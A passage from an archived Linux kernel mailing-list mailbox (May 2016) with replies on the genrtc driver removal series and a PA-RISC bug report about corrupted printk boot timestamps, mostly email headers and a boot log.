	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Original-X-From: rtc-linux+bncBDS7HNEFSALRBSWGWK5AKGQE7WUJBSQ-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 22:32:15 2016
Return-path: <rtc-linux+bncBDS7HNEFSALRBSWGWK5AKGQE7WUJBSQ-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-lf0-f62.google.com ([209.85.215.62])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDS7HNEFSALRBSWGWK5AKGQE7WUJBSQ-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7Tr8-0006r3-V9
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 22:32:11 +0200
Original-Received: by mail-lf0-f62.google.com with SMTP id v189sf39369117lfd.0
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 13:32:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=Cta3LEq31cKrHlxUAPpevIwCzkCSoOAOqz+5NTAIOjE=;
        b=DBU1FTDbjI3aXzZRSQVY5Aao1MGiHgMcOjP011LwCqHSriC7irwoT3QS4kBUkptsuq
         wwxvrSbHIRnY+VsyhITvO8SmHJ2O5sOaBspt2qXvOiLD9z7qVgmuk8N1yWcAnHGyVUPE
         k9jXgQTfIi6J+V9n7OYTg9LiEdz9MipNn3FY/e3M5Cu2ztfumcWx+f/Hfj6q+nDW/C+d
         suFanl6AgjzGvQTW8dcrlfZqyL4BVGLjDacLEWSszuvl40l4BEnFlpdQhbFYQv+IFQeH
         7wk/UQDFUC1Yq03masLKStMIQYHw6okIWyEDH6NLH1geKewxMoq8f7RpZkQGe2MJpU8A
         OfLg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:date:from:to:cc:subject:message-id
         :references:mime-version:content-disposition:in-reply-to:user-agent
         :x-original-sender:x-original-authentication-results:reply-to
         :precedence:mailing-list:list-id:x-spam-checked-in-group:list-post
         :list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=Cta3LEq31cKrHlxUAPpevIwCzkCSoOAOqz+5NTAIOjE=;
        b=QODmpIe59idm2HH2FpMjjQiVzPqoHI/TXabpWLjeI052BBp7fdXmrO98T0LZ+4p+7T
         tdiGCvvO/lJn7C12OUUUTfMGowzlD+cODTkaGWM+6OpWXlzsM1GSAE2+rwiGQOmrduCa
         kQuNBbsdmj1mgvcQ6DgK5nUYS7zcuE7Sthv1FLGh7wxeFlYRbFf+iXNpQZPxRqriKEh8
         bMYts/qWhqO0sNuRniuN9sL7WqZNUGNLXQx78XKdrxEyDZePs5Yb/yMKOJnByuzqdlbO
         UnU997/nFsMNvy14wTokM0vUMnHS2/qbudmSmjCFIvTBaug/dvkjajLeJJVA8x9715 
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tJHfwzMgZh+43zy4WqABnlEnjOuigNQdd2oBBY4yBBtKyq8FhFQwOTgM4C4OZPXSg==
X-Received: by 10.28.152.195 with SMTP id a186mr34791wme.3.1464640330119;
        Mon, 30 May 2016 13:32:10 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.29.209 with SMTP id d200ls886907wmd.20.gmail; Mon, 30 May
 2016 13:32:09 -0700 (PDT)
X-Received: by 10.28.165.213 with SMTP id o204mr1246750wme.2.1464640329852;
        Mon, 30 May 2016 13:32:09 -0700 (PDT)
Original-Received: from mail.free-electrons.com (down.free-electrons.com. [37.187.137.238])
        by gmr-mx.google.com with ESMTP id v69si1145262wmv.0.2016.05.30.13.32.09
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>;
        Mon, 30 May 2016 13:32:09 -0700 (PDT)
Received-SPF: pass (google.com: domain of alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org designates 37.187.137.238 as permitted sender) client-ip=37.187.137.238;
Original-Received: by mail.free-electrons.com (Postfix, from userid 110)
	id 8F5261BF; Mon, 30 May 2016 22:32:09 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	mail.free-electrons.com
X-Spam-Level: 
X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED,SHORTCIRCUIT,
	URIBL_BLOCKED shortcircuit=ham autolearn=disabled version=3.4.0
Original-Received: from localhost (unknown [88.191.26.124])
	by mail.free-electrons.com (Postfix) with ESMTPSA id 3D2DA1BA;
	Mon, 30 May 2016 22:32:09 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
User-Agent: Mutt/1.6.0 (2016-04-01)
X-Original-Sender: alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=pass
 (google.com: domain of alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org designates
 37.187.137.238 as permitted sender) smtp.mailfrom=alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:46 gmane.linux.ports.alpha:3752 gmane.linux.kernel:2230382 gmane.linux.ports.parisc:26806 gmane.linux.ports.ppc64.devel:127854 gmane.linux.ports.sh.devel:54139 gmane.linux.kernel.cross-arch:32186
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/46>

Hi,

On 30/05/2016 at 20:57:48 +0200, Arnd Bergmann wrote :
> This is the promised resend of the removal of the genrtc driver and some
> related code, now that we are at a good time to merge this for the coming
> merge window.
> 

Thanks a lot!

I'm applying the series right now so it sits in linux-next for a while
before the next merge window.

I would still happily take any acks, Reviewed-by or Tested-by tags.


> - CONFIG_EFI_RTC is actively used on all six Itanium configurations,
>   though the CONFIG_RTC_DRV_EFI replacement driver is also available
>   there (and has been Itanium-only until ARM64 support for EFI was
>   merged). I suspect it's just a matter of getting an Ack from the
>   Itanium maintainers to remove it and change the defconfigs.
> 

I have that one on my radar. There was an impressive number of separate
drivers for EFI and CMOS...

> - the last remaining legacy RTC driver after those is CONFIG_DS1302,
>   which has a slightly nonstandard ioctl interface and is only used
>   on arch/m32r. I have experimented with this a bit and think it
>   can be converted in a backward-compatible way as well.
> 

That one has been converted to a standard SPI driver in v4.6. Following
some discussion, driving it using gpios will be added. m32r will have to
use one of those two interfaces. It is broken on that architecture for
now but we never got any reply from maintainers.


-- 
Alexandre Belloni, Free Electrons
Embedded Linux, Kernel and Android engineering
http://free-electrons.com

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/16] genrtc removal
Date: Tue, 31 May 2016 08:56:05 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <CAMuHMdV5mcKZcBz=v7Pn2pbDiuwMpQYs-70e6NmH6CZ88=JNzA@mail.gmail.com>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
	<20160530203207.GY3451@piout.net>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464677772 18689 80.91.229.3 (31 May 2016 06:56:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 31 May 2016 06:56:12 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>, Greg KH <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>, 
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>, 
	Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>, Rich Felker <dalias-8zAoT0mYgF4@public.gmane.org>, 
	David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, alpha <linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, 
	Alessandro Zummo <a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org>, 
	"linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, 
	"linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org" <linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org>, Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, 
	linux-m68k <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>, RTCLINUX <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>, 
	Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBCQJP74GSUDRBBPLWS5AKGQEEMCYSKI-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Tue May 31 08:56:09 2016
Return-path: <rtc-linux+bncBCQJP74GSUDRBBPLWS5AKGQEEMCYSKI-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-qk0-f188.google.com ([209.85.220.188])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBCQJP74GSUDRBBPLWS5AKGQEEMCYSKI-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7daw-0004dI-SY
	for gldr-rtc-linux@m.gmane.org; Tue, 31 May 2016 08:56:07 +0200
Original-Received: by mail-qk0-f188.google.com with SMTP id l14sf1616338qke.0
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 23:56:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=HyMm7pioSBx+mgdF0FWZ6zUSdP7tnD/bdTXpGbnhNhE=;
        b=IzjkNUZbdpxBpwVefcdE3d7uzo9/Zn3SxyxAwwznRTGcnXJDOEJt2WheGKPpbbrUfn
         78b9XGU1PWRlKzw7DlepCfUZ47KAHyyIkBy0narNuDtdbASzzl+axNReufD0M+8BrJ/Y
         J3DVd11I9dQfVOtucY3ijlT9yKkxcEWnpDxEpgI9U6dPYobSElAqn1euOt7FxcOD9ubE
         MO3QtTy5lyDgx/6PaCkp/f0Vnv49+lH50mEkt+Hqy9c6Tf3BvsxIR7sMN6UxisMdLy4z
         aQtMR6n0Molckoxm1kbHi151R1qFnFbMs2NKUVsnyeCj6bMHxp744QJUiAS3mJjrDaxX
         np1Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=HyMm7pioSBx+mgdF0FWZ6zUSdP7tnD/bdTXpGbnhNhE=;
        b=ZABAlc4xm8d/qLbBKg4d3vERBe5sQZeoLY+bhKoX86Xwgli1WFcq0eFeZcoMxbBg6G
         mMM6hHi+PelQaA8W6ImeBxINDWlufX/dOD1mn6vNYyaHnfcpDJlfmN6QHgQHK2Ly+pMR
         2tB5gYcaEOA8kW/Q78iJJKtZkedzBXk1Q5f/mbKxJW70FpSPgfxlqHLoBW9fvqj4SzqT
         JYzkcixghcafMXteBjROxVSXfx5cvOZZIAWnI5JcW8qwDyRlhn2vP7U/1oHm66q7dHrJ
         nZABGQKju4ku6UF6ajknIChPCnFrNLMkl96TqmxGCKJ5qV4UYxIMeuQ72x6YERav8mMw
         tQVQ==
X-Gm-Message-State: ALyK8tJ+0VXTkpu67jTU2b1MErPjv3cnlDQJwU6uUsW2wKwIztH0t0wdzBB9WPfVUhs9Yw==
X-Received: by 10.36.76.150 with SMTP id a144mr150365itb.10.1464677766024;
        Mon, 30 May 2016 23:56:06 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.107.158.201 with SMTP id h192ls389701ioe.59.gmail; Mon, 30 May
 2016 23:56:05 -0700 (PDT)
X-Received: by 10.67.4.162 with SMTP id cf2mr21987759pad.32.1464677765685;
        Mon, 30 May 2016 23:56:05 -0700 (PDT)
Original-Received: from mail-io0-x243.google.com (mail-io0-x243.google.com. [2607:f8b0:4001:c06::243])
        by gmr-mx.google.com with ESMTPS id b6si1008247ith.0.2016.05.30.23.56.05
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 23:56:05 -0700 (PDT)
Received-SPF: pass (google.com: domain of geert.uytterhoeven-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org designates 2607:f8b0:4001:c06::243 as permitted sender) client-ip=2607:f8b0:4001:c06::243;
Original-Received: by mail-io0-x243.google.com with SMTP id m17so14092662ioi.3
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>; Mon, 30 May 2016 23:56:05 -0700 (PDT)
X-Received: by 10.36.222.137 with SMTP id d131mr11806667itg.4.1464677765468;
 Mon, 30 May 2016 23:56:05 -0700 (PDT)
Original-Sender: geert.uytterhoeven-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
Original-Received: by 10.107.33.135 with HTTP; Mon, 30 May 2016 23:56:05 -0700 (PDT)
In-Reply-To: <20160530203207.GY3451-m++hUPXGwpdeoWH0uzbU5w@public.gmane.org>
X-Original-Sender: geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       dkim=pass
 header.i=@gmail.com;       spf=pass (google.com: domain of
 geert.uytterhoeven-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org designates 2607:f8b0:4001:c06::243 as permitted
 sender) smtp.mailfrom=geert.uytterhoeven-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:47 gmane.linux.ports.alpha:3753 gmane.linux.kernel:2230949 gmane.linux.ports.parisc:26807 gmane.linux.ports.ppc64.devel:127878 gmane.linux.ports.sh.devel:54140 gmane.linux.kernel.cross-arch:32195
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/47>

Allo Alexandre,

On Mon, May 30, 2016 at 10:32 PM, Alexandre Belloni
<alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org> wrote:
> On 30/05/2016 at 20:57:48 +0200, Arnd Bergmann wrote :
>> This is the promised resend of the removal of the genrtc driver and some
>> related code, now that we are at a good time to merge this for the coming
>> merge window.
>>
>
> Thanks a lot!
>
> I'm applying the series right now so it sits in linux-next for a while
> before the next merge window.
>
> I would still happily take any acks, Reviewed-by or Tested-by tags.

Looks like Arnd forgot to include these when reposting:

Acked-by: Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>

For the m68k bits:
Tested-by: Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: invalid printk time during boot on PA-RISC
Date: Tue, 31 May 2016 07:44:36 -0400 (EDT)
Lines: 55
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1605310735130.6341@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1464695081 7582 80.91.229.3 (31 May 2016 11:44:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 31 May 2016 11:44:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 31 13:44:40 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b7i6C-00062c-43
	for glpp-linux-parisc@plane.gmane.org; Tue, 31 May 2016 13:44:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751505AbcEaLoj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 31 May 2016 07:44:39 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:38559 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751418AbcEaLoj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 31 May 2016 07:44:39 -0400
Original-Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id 25ED063144;
	Tue, 31 May 2016 11:44:38 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u4VBibWq014094
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Tue, 31 May 2016 07:44:37 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id u4VBibu0008208;
	Tue, 31 May 2016 07:44:37 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id u4VBiad7008204;
	Tue, 31 May 2016 07:44:36 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.38]); Tue, 31 May 2016 11:44:38 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26808
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26808>

Hi

With the kernel 4.7-rc1, I get corrupted printk times when the machine 
boots. The kernel is compiled with "Show timing information on printks" 
(CONFIG_PRINTK_TIME) enabled. There are no other negative effects.

Bisecting shows that it is caused by the patch 
54b668009076caddbede8fde513ca2c982590bfe ("parisc: Add native 
high-resolution sched_clock() implementation").

Mikulas

[    0.000000] SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=4, Nodes=8
[    0.000000] Hierarchical RCU implementation.
[    0.000000]  Build-time adjustment of leaf fanout to 64.
[    0.000000] NR_IRQS:80
[    0.000000] clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0x1cd42e4dffb, max_idle_ns: 881590591483 ns
[    0.000000] Console: colour dummy device 160x64
[   90.122205] Calibrating delay loop... 1991.60 BogoMIPS (lpj=3317760)
[   90.224168] pid_max: default: 32768 minimum: 301
[   90.285769] Mount-cache hash table entries: 16384 (order: 5, 131072 bytes)
[   90.377394] Mountpoint-cache hash table entries: 16384 (order: 5, 131072 bytes)
[   90.476416] Brought up 1 CPUs
[   90.518549] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 6370867519511994 ns
[   90.648779] NET: Registered protocol family 16
[   90.708239] Searching for devices...
[   90.869035] Found devices:
[   90.904983] 1. Crestone Peak Mako+ Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x89b, 0x00004 }
[   91.019867] 2. Crestone Peak Mako+ Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x89b, 0x00004 }
[   91.134765] 3. Crestone Peak Mako+ Slow at 0xfffffffffe798000 [152] { 0, 0x0, 0x89b, 0x00004 }
[   91.249651] 4. Crestone Peak Mako+ Slow at 0xfffffffffe799000 [153] { 0, 0x0, 0x89b, 0x00004 }
[   91.364550] 5. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0b6, 0x00009 }
[   91.456208] 6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
[   91.567565] 7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
[   91.676618] 8. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
[   91.785683] 9. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
[   91.894743] 10. Quicksilver AGP Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x784, 0x0000a }
[   92.009628] 11. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
[   92.118694] 12. Crestone Peak Core RS-232 at 0xfffffff0f05e0000 [17] { 10, 0x0, 0x076, 0x000ad }
[   92.235878] 13. Crestone Peak Core RS-232 at 0xfffffff0f05e2000 [18] { 10, 0x0, 0x076, 0x000ad }
[   92.708000] Releasing cpu 1 now, hpa=fffffffffe781000
[   92.818803] FP[1] enabled: Rev 1 Model 20
[    2.917508] Releasing cpu 2 now, hpa=fffffffffe798000
[    0.196666] FP[2] enabled: Rev 1 Model 20
[    3.116794] Releasing cpu 3 now, hpa=fffffffffe799000
[    0.196666] FP[3] enabled: Rev 1 Model 20
[    3.296942] CPU(s): 4 out of 4 PA8900 (Shortfin) at 1000.000000 MHz online
[    3.447762] Setting cache flush threshold to 65536 kB
[    3.450548] Setting TLB flush threshold to 1020 kB

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "George Spelvin" <linux@sciencehorizons.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [DRAFT PATCH] parisc: add <asm/hash.h>
Date: 31 May 2016 09:41:56 -0400
Lines: 218
Approved: news@gmane.org
Message-ID: <20160531134156.878.qmail@ns.sciencehorizons.net>
References: <20160531132300.21122.qmail@ns.sciencehorizons.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1464702132 25484 80.91.229.3 (31 May 2016 13:42:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 31 May 2016 13:42:12 +0000 (UTC)
Cc: dave.anglin@bell.net, jejb@parisc-linux.org
To: deller@gmx.de, linux-parisc@vger.kernel.org,
	linux@sciencehorizons.net
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 31 15:42:01 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b7jvk-0002IM-9l
	for glpp-linux-parisc@plane.gmane.org; Tue, 31 May 2016 15:42:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753492AbcEaNl7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 31 May 2016 09:41:59 -0400
Original-Received: from science.sciencehorizons.net ([71.41.210.147]:21601 "HELO
	ns.sciencehorizons.net" rhost-flags-OK-FAIL-OK-OK) by vger.kernel.org
